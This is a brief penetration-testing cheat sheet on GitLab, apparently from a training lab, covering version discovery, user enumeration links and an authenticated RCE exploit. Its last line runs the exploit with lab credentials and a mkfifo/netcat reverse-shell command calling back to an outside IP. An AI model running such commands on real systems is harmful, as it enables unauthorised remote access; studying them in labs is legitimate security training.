Gitlab

Enumeration

Getting Version Number

Navigate to /help while logged in

User Enumeration

https://www.exploit-db.com/raw/49821

https://github.com/dpgg101/GitLabUserEnum

Note: Try registering an account if possible

Note

Authenticated RCE on >= 13.10.2

https://www.exploit-db.com/raw/49951

$ python3 gitlab_13_10_2_rce.py -t http://gitlab.inlanefreight.local:8081 -u mrb3n -p password1 -c 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.14.15 8443 >/tmp/f '